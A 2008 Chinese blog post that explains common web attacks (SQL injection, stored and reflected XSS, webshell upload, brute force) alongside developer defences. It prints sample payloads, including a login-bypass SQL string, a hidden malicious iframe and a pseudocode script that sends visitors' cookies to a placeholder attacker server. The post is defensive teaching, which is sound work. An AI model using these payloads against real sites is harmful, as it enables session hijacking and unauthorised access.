戈多

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

1.         引言

1.1.        文档说明:

该文档主要阐述在BS程序中,安全性方面的注意事项。常见的主要攻击模式,以及为了防御这些不同的攻击手段,作为技术人员建议注意的编码事项。

该文档包含的内容主要是个人对于Internet 安全性问题的理解。以及对这些问题进行规避的方法整理,难免有误,也欢迎大家进行指正和补充。

另注: 该文档出现的编码均为伪代码。

1.2.        文档组织方式:

该文档主要按照攻击模式进行分类整理,每个攻击模式的小专题分2部分内容:

(1) 攻击模式详述

(2) 防御方式与建议

对于攻击模式详述部分,尽可能多的举出案例来进行说明,已方便理解。而防御方式,实际上通常只有在对攻击模式理解的前提下,才可能真正确保防御的有效。

2.         正文

2.1.        SQL注入

2.1.1.       攻击模式:

SQL 注入的成因主要是因为向DB提供的SQL 是用字符串拼装的方式生成的。

最经常遭受SQL注入的页面通常是管理员/用户登陆点。不论是asp 或是jsp,如果不正确的编码,都会出现这个漏洞。

下面以一个实例来阐述SQL注入的成因。

假设我们有一个JSP 页面login.jsp,用于搜集管理员输入的用户名和密码。用户点击按钮,将会把收集到的用户名与密码提交到指定的控制组件(Struts:Action,或者Servlet).在该组件中调用chekLogin(String userName, String passWord) 进行登陆验证,以从页面收集到的用户名和密码信息拼装出SQL 字符串,供DAO 下层使用,以从数据库中的管理员记录表中读取数据,如果从表中找到匹配的记录,则表示验证成功,我们将返回相应得管理员实体类。否则返回Null 表示登陆验证失败。

这是一个非常简单的逻辑模块,如下图所示:

这个逻辑产生注入漏洞的关键在于checkAdminLogin方法。因为在该方法中,我们以这种方式进行编码:
public Admin checkAdminLogin(String userName, String password){

//拼装SQL字符串
String strSQL =”SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’”+userName +”’ AND A.PASSWORD=’”+password+”’”;

//后续通过DAO 提交该SQL到数据库获得查询结果,省略

这个生成SQL 的方式,记得刚接触数据库编程的时候,有很多书籍的范例代码也是这样书写的,咋一看没有什么问题,但是由于没有对可能的输入作一个全面的考虑,所以便产生了注入漏洞。如果有人试图在这里进行恶意攻击,那么他可以在登陆名输入框中输入 123 (其实其他的任意值也可) 而在密码输入框中输入 ‘ OR ‘1’=’1

那么由于我们的SQL是靠拼出来的,所以最终提交给数据库的将是:
SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’123’ AND A.PASSWORD=’’ OR ‘1’=’1’

很显然,这句SQL 由于后面被加上了永真条件,登陆是一定成功的。那么不论登陆者是否是管理员,输入 ‘ OR ‘1’=’1 ,他都将能够登陆系统。

更有甚者,我可以在输入框中输入数据库的SQL注释符,然后填写我想让数据库执行的操作例如DROP SOMETABLE 一类的。所以注入漏洞的危害实际是非常大的。

SQL 注入漏洞的根本原因是,由于我们编码时的不小心,导致用户可以通过输入来改变要执行的逻辑,甚至输入新的逻辑。但是,越是严重和显而易见的代码安全问题,实际要修补却也是越容易的。

2.1.2.       防御办法:

A: 加上验证(或者字符过滤)

在网上搜索关于对SQL 注入的防护问题,有很多答案提供的是对输入字符串进行验证/或者是过滤,甚至有人提供了字符串过滤代码。这种方案指出: SQL 注入的成因是攻击者在输入框中输入了有特殊意义的字符,如单引号,或者是数据库特定的注释符号,或者是执行分隔符的分号。

那么我们在控制层进行验证,禁止用户输入这些符号,或者将这些符号进行转义是否可以杜绝SQL注入?

表面上看似乎是可以的,因为在控制层中,用户如果试图输入 ‘ OR ‘1’=’1 将得到类似不允许输入单引号的提示从而系统拒绝了本次执行。

但是,这样的防御方案有非常大的缺陷:

第一: 输入验证应该与具体的逻辑挂钩,而不应该与安全防护中的防注入产生过密的依赖。用户名和密码的输入验证和新闻内容的输入验证是不同的。例如,对于新闻的按内容搜索又应该允许输入单引号,因为新闻内容本身是允许包含单引号的。所以输入验证不能从根本上解决问题。一个疏忽带来的结果将是满盘皆输。

第二: 提出这种解决方案实际上是没有真正的理解SQL注入,SQL注入的问题并不是出在不合法字符的问题上。这只是表象,SQL注入的真正原因是系统没有办法严格地控制程序逻辑与输入参数之间的分离,系统存在漏洞让系统是用者有地方可以把自己的输入(本应该是参数)变成了程序逻辑的一部分。

B: 控制与参数分离

试想我们给用户提供一个接口,这个接口带一个参数,用户填写这个的这个参数将决定下面的代码执行序列。那么用户可以通过这个接口来命令系统做任何事情。其实SQL注入就是这个原因。

产生这个问题的最根本的原因是,系统应该有能力明确的划分什么是逻辑,什么是参数。

所以解决SQL注入的最根本办法是使用Template 模式。

如下图所示:

那么用户的输入会作为Business Object 的参数存在。但是不管用户输入什么。都无法脱离程序员设置的Templete (逻辑模板)。最后 Templete + Parameters 将决定程序具体的执行。

Java 中对该模式的实现PreparedStatment或者NamingQuery一类的技术。详细内容可以参见相关文档。由于他们实现了参数与逻辑的分离,所以将从根本上杜绝SQL注入。

使用PreparedStatement还有其他好处,除了安全方面的考虑,由于数据库的编译特性,在性能上也有所提高。

2.2.        脚本注入

2.2.1.       攻击模式

这里所说的脚本,通常所指的是JavaScript脚本,虽然JavaScript运行于客户端,并且有安全沙箱的保护,但是放任恶意JavaScript脚本是十分危险的。

脚本注入也是一种技术含量低的攻击方式。需要攻击者熟悉JavaScript脚本和Dom模型,如果会运用Ajax 技术,更是如虎添翼。如果你了解这两项技术,便可以在网上搜索你的目标。

一个网站,如果对输入未做合理的验证或过滤,在显示输出的时候又未做合适的格式化,那么便存在这种漏洞。下面举一个实例:

我们有一个新闻站点。每个新闻允许浏览者进行评论,浏览者提交的评论将被存储在数据据库专门的表中,并且将被显示在新闻的下边。

这个逻辑很正常,没有什么问题。但是很可惜的是开发者除了字符长度没有在后端做任何输入合法验证。那么这个站点的评论输入,必然给坏蛋们有机可乘。

假设我们在评论中输入如下内容:

<script language=”javascript”>alert(“哈哈,傻了吧,这个地方存在脚本注入漏洞.”);</script>

那么,这句话将被存储在数据库评论表中。以后,每一个浏览者打开这个新闻页面是,都将会弹出这样一个消息框。攻击者很仁慈,没有做过多的破坏。

但是如果输入:

<script language=”javascript”>window.location.href=”www.baidu.com”;</script>

那么打开这个新闻页面,该页面将被从定向到baidu的页面上。

如果目标页面不是baidu. 而是一个有恶意代码的页面。那么每个浏览者的机器都可能中毒。

注入上述脚本的攻击者不够聪明或者只是想好心的提示。因为他们注入的东西太容易被人发觉。

我们有别的方式把活干的隐蔽,毕竟开发者和维护人员都不可能对评论一条一条得进行检查。

我们注入:

好文!

<iframe src=”带病毒的页面” width=”0” height=”0”></iframe>

那么在新闻页面上,将看不到任何异状。但是浏览器其实可能正在悄悄得下载病毒。

WEB2.0的流行使页面效果更加绚丽,同时也使脚本注入的攻击力提高不少。

曾经了解这样一种攻击模式:

攻击者在幕后准备了服务器去接受Ajax提交的请求。攻击者通常有自己的服务器(通常是肉鸡), 在上面部署了合适的代码。

在目标站点,存在注入点的页面注入如下代码:

我也来顶!

<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服务器监听点”, strTargetMessage);
</javascript>

很简单的代码,而且极难被发觉。

但是这样,每个登录者在访问这个页面的时候,其cockie信息都将被发送给攻击者。

掌握了cockie中存放的JSESSIONID, 那么攻击者便可以冒充该登录者来做想做的事情,比如说转帐(但一般银行有SSL 授权的密钥).

不管怎么样,很危险了。

2.2.2.       防御方式

提供合理的过滤或者转换程序,在输入存放于数据库前,或者是显示在页面前对数据进行处理。尽一切可能,避免用户的输入有执行的可能。

具体代码,因不同的后端语言不同,但是项目提供有效,统一的过滤处理方式是合理的。

该攻击方法成立的原因是,浏览器在对页面进行解析时,不可能区分哪一段是客户输入,哪一段是预编制的模板或Html或脚本。

有人曾经提出,确保评论内容出现在<pre></pre>中可以避免这个问题。

:
<pre><%= 评论内容 %></pre>

那么评论内容将得到原样显示,并不会执行其中的脚本。

但是这样的解决方案是不正确的。

因为我只需要对注入稍加改动:

</pre>
<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服务器监听点”, strTargetMessage);
</javascript>

<pre>

那么实际上注入脚本将<pre>块闭合了,脚本仍然会得到执行。

2.3.        跨站攻击

2.3.1.       攻击模式

跨站攻击和脚本注入非常相似。有很多资料并没有区分这两种攻击。

实际上,我认为跨站和脚本注入最大的区别在于用户提交的非法脚本是否需要持久化到服务器。通常,用于脚本注的恶意脚本提交后,将存储在服务器数据库中。这导致每个访问问题页面的浏览者都将遭到恶意脚本的攻击。而跨站攻击多数情况是将恶意脚本构造于url参数中。通过欺骗的方式去诱使受害者点击链接。而使得恶意脚本执行。

虽然,不像脚本注入,跨站攻击必须要诱使受害者点击链接才能得以执行。但是一旦成立,其危害将和脚本注入的危害一样大。

并且,跨站攻击的最大问题在于漏洞难于查找,特别容易被忽略。

因为人们通常记得在用户输入评论的地方加上过滤来避免注入,但是防护跨站漏洞,却要保证在每个处理url参数的页面中都要对传入的参数进行合法性验证。由于程序员的疏忽或者懒惰,往往无法做到每个”, 所以即使是知名的大型网站也频频出现跨站漏洞。

下面给出一个实例来说明跨站漏洞。

一年前,我的朋友曾经给了我一个工行网络银行的地址(http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB (上面这些类似乱码的编码实际上是通缉: BearOcean同学于2007.5.1日诈骗工商银行500万现金,现在潜逃中,有抓获者奖励人民币50万整字符串的urlEncoding成果物,后来工行把这个漏洞堵上了.)

当我点开页面进行浏览的时候,发现上面显示的是一则公告:

   “通缉: BearOcean同学于2007.5.1日诈骗工商银行500万现金,现在潜逃中,有抓获者奖励人民币50万整

很显然这是一个玩笑(我的同学没有攻击意图,只是利用这个开了个玩笑),但是让我惊讶的是即使是工行也能出现这样的问题。我们现在来分析出现这个问题的原因,以及它可能带来的危害。

工行的hotspot.jsp可以理解成一个专用于显示一些简短信息的页面。

他接受url中的一个参数column并把它显示出来。

这样的页面很常见也很有用,例如我们在注册成功,评论新闻成功的时候,都希望有一个风格统一的页面来显示操作结果。如果为每一个有这种需求的地方单独开发不同的页面,一来工作量大,二来重用性差,所以我们用一个页面来完成这种事情。这个页面显示的是什么取决于输入的参数。请看下图:

hotspot 是傻子,无法智能到判定输入的column来自于友方模块还是来自于我的同学。总之,来者不拒。直接将column不加区分的显示在hotspot上。

令人好奇的是,该漏洞只是让大家开开玩笑,输出一些好玩的东西,那么其实这个漏洞会不会也无伤大雅,没有什么危害性。我强调过,我的同学不是恶意的攻击者,敏感的人能够猜测:如果输入的不是用于开玩笑的字符串,而是恶意的脚本,那将如何?

跨站攻击的危害和脚本注入是一样的。恶意脚本得以执行,一样可用于盗取coockie. 或以高级别权限用户执行危害更严重的木马上传操作,或者帮助浏览者在自己的机器上种上病毒。与SQL注入不同,脚本注入和跨站都没有直接攻击服务端,实际上是攻击了客户端。但是,上述2种漏洞通常会成为有经验的黑客攻击服务器的最喜爱跳板。

2.3.2.       防御方式

问题的原因已经分析清楚,存在跨站漏洞的页面或模块通常未对传入的url参数进行处理,或者确定传入来源是可靠的。

最主要的防御方式与脚本注入的防御方式相同。

在类似于的hotspot页面中,程序员对输入的colum进行过滤,并免任何脚本执行的机会就可以保护站点免受跨站漏洞的攻击。

2.4.        shell 上传

2.4.1.       攻击模式

shell上传是攻击BS程序最可怕的一招。

中招的站点,完全被破坏是一点也不意外的。因为shell, 通常都有能力帮助攻击者拿到系统管理员的权限。绕开站点的权限限制,直接攻击操作系统和DBA, 作为攻防战的防守方,搞成这种局面,只能用完全失败来形容了。

要理解通过shell上传来攻击服务器的方式,需要理解shell是什么。

Shell 通常是一种用特定语言编写的程序,攻击服务器的时候,由于通常要实现远程编译比较复杂,所以这种木马类型的文件一般都用解释型语言编写(或者有解释语言特点).

具体语言的选择,依赖于目标站点的开发语言。攻击ASP 站点的shell ASP 编写,攻击PHP 站点的shellPHP编写,攻击J2EE的站点Shell 可用Jsp来编写。

Shell 通常都是基于命令的,它通常能接受攻击者的参数。然后以功能划分模块进行运行。

常见的命令如: 列表文件,删除文件,创建文件,修改文件,新建系统帐号,访问操作系统功能。通过使用这些功能。攻击者将能够控制shell 宿主服务器,所以站点乃至整个系统被shell 黑破是很好理解的。设想一个攻击者通过shell新建一个操作系统管理员,其实就可以抛弃shell了。(需要说明的是,webshell通常功能较弱,但是webshell可以支持更强木马的上传和执行。) 通过远程控制客户端,便可对服务器为所欲为。

请看下图:

攻击者通过shell木马,去取得其他关键权限,转而对整个系统实施攻击。

很奇怪,明明我的服务器内只部署了我自己开发的页面文件和程序模块。攻击者是怎样把木马传上来的呢。

一般来说有如下方式:

(1)    FTP: 服务器开启了FTP 服务,并且使用允许匿名或者弱帐号机制,FTP 直接指向Web虚拟路径,很多人通过这种方式来管理/维护站点。固然方便,但是攻击者通过端口扫描可以很容易的找到服务器的FTP服务,攻击FTP进而上传shell木马。但是这种攻击方式以及其他利用服务/操作系统/web容器漏洞的服务均与开发的直接关系不大,主要责任系维护方面,所以在这里不详细叙述。

(2)    上传组件: 很多站点,由于功能要求,提供文件上传功能。这个功能,攻击者通常都会非常注意。如果上传组建的编写有问题。那么攻击者就能很方便的上传shell. 因为和开发关系较大,所以主要叙述的是这种上传方式。

方式(2) 中所涉及的上传组建通常是一些上传功能需求引入的。例如用户可以自定义自已的图片或者是上传商品图片,或者是允许上传一些其他文件供浏览者下载。这些上传功能也频繁出现在后台管理中。

2.4.2.       防御方式

关于shell的防御通常有如下一些事项需要注意:

(1)    Web 容器正确的安全设置:

如果系统有上传的功能,那么上传的文件一般都存放在固定的一个或者几个文件夹中。

最需要确保的是,不管上传了什么,我们都需要保证服务器认为这些文件是数据,而不会误以为是程序模块而使木马得到执行的机会。通常web服务器都有相关的安全设置。禁用这几个文件夹中的文件解释/执行权限是必要的,这样即使木马上传成功也无法解析。在系统上线前需要对web配置进行正确的配置这是一点。

总的来说,不管是利用OS 漏洞或者是FTP 或者是配置。Linux 的安全性相对于Windows较高。目前最多的shell马一般是基于ASP的。

(2)    自己编写上传组件需要严格的验证:

很多时候我们会使用自己开发的上传功能和组件。

编写的时候需要对上传的文件进行验证而不能够不加验证便进行保存。

通常验证的项目包括文件大小和文件后缀(文件类型),如仅允许jpeg, jpg, gif 图片格式文件上传。这是作为开发方需要注意的事项,但是不结合第一点来防护仍然不安全。目前有许多jpg, gif shell木马,后缀名使用图片格式能够跳过验证,但是攻击者可以利用其他的漏洞使木马得以执行。

另外,通常后台功能有修改允许上传文件类型的功能。如果攻击者通过其他手段(如注入或者社会工程学) 成功得到了后台登陆权限,那么他仍然能够上传木马。

所以(2) +(1) 才能使得防护真正的起到作用。另外一点需要注意的是,对文件的验证一定要在服务器端进行。前端的javascript验证在安全性上将不起作用。

(3)    利用已开发的第三方组件:

有很多人开发出了好用的第三方控件,如一些富文本编辑控件直接允许文件/图片的上传(FCKEditor) 这些控件有很多在功能上做的很好,但往往由于开发者安全方面考虑的不多,会存在漏洞,在使用第三方组件的时候可以对组件是否存在漏洞进行调查。必要的时候可进行代码修改以进行安全加强。

比较出名的是,曾经有一个很著名的asp 后台文件管理模块。出现了非常明显的shell上传点。但是使用的人仍然趋之若鹜。攻击者们通常发现站点使用该组件的时候。第一反应就是:开心地笑了。甚至有人开发了专门针对该模块的攻击/上传程序。

2.5.        爆破

2.5.1.       攻击模式

爆破和上述的攻击方式一样,均是很古老的攻击手段了。它是很暴力很笨的攻击方式。不过使用得到也具有一定的威胁。

爆破的模式很简单,一般情况如下图所示:

爆破方式来获取帐号,通常在攻击端需要部署攻击器和字典程序。

攻击器负责向特定登陆模块发送登陆请求,字典程序负责按照人们的输入习惯对于待输入尝试进行排序。结合起来,可以在一定时间将系统中的账号试出来。具体时间依据密码账号强度来定。简单的密码如 admin 123 可能在一分钟内被试探出来。而强账号可能要一年。

2.5.2.       防御方式

总的来说,防暴有如下几种方式:

(1)    使用验证码:

这是一个很成熟的方式,也较为行之有效。具体方式是在登陆的时候,除了要求登陆者输入用户名与密码以外,还要求输入者辨识一个不怎么清晰的图片,并输入图片中显示的字符,以作为这次输入并非出自自动程序的凭证。

要破除这种方式的登陆端并进行爆破,对于攻击端有更高的要求。需要首先对验证图片进行模式匹配以提取其中隐含的字符串。不过模糊匹配是比较复杂的技术。具体的应用包括音频匹配,指纹系统,人脸识别,图片处理等方向,涉及较强的数理基础。一般攻击者都不会动用这种技术,目前模糊匹配仍没有达到成熟。模糊匹配不能很有效的原因也是计算机无法真正意义上模拟生物智能的重要障碍之一。相关方向有很多课题无解。如果感兴趣可以单独研究。

(2)    阻塞同一IP同一时间多次连续对登陆的验证请求

该方法在后端程序中加上一个时间连续验证。禁止同一IP 同一时间内多次请求。例如可以设置同一IP 上次验证距这次验证间隔时间必须大于0.2秒。通过这种方式来降低攻击程序的性能。

不过这种方式除了性能上的弱点,还有一个弱点在于: 网络环境中,如果有大量用户共用一个IP, 所以有可能在高并发的情况下拒绝正常请求。

 

3.         结语

关于站点程序安全,还有很多攻击和防御的方式。

开发过程中,代码上的防御最好形成统一的,类似于AOP 的安全服务层。对安全过滤,效验,防暴等攻击手段提供统一的服务和保护。由于编码习惯引入的漏洞,可以制定相关的规范,对形如SQL 注入的避免。

同时,运营方面,需要密切地注意OS , 数据库,网络环境存在的不安因素。

部署方面,对于配置充分考量安全方面的强化。

本文当没有涉及具体的编码技术和配置方案,因为完成这些详述,篇幅会变得无法控制。

本文当主要在基本的安全事项,攻击模式上面做出阐述。抛砖引玉。

posted on 2008-06-03 16:19  戈多  阅读(348)  评论(0编辑  收藏  举报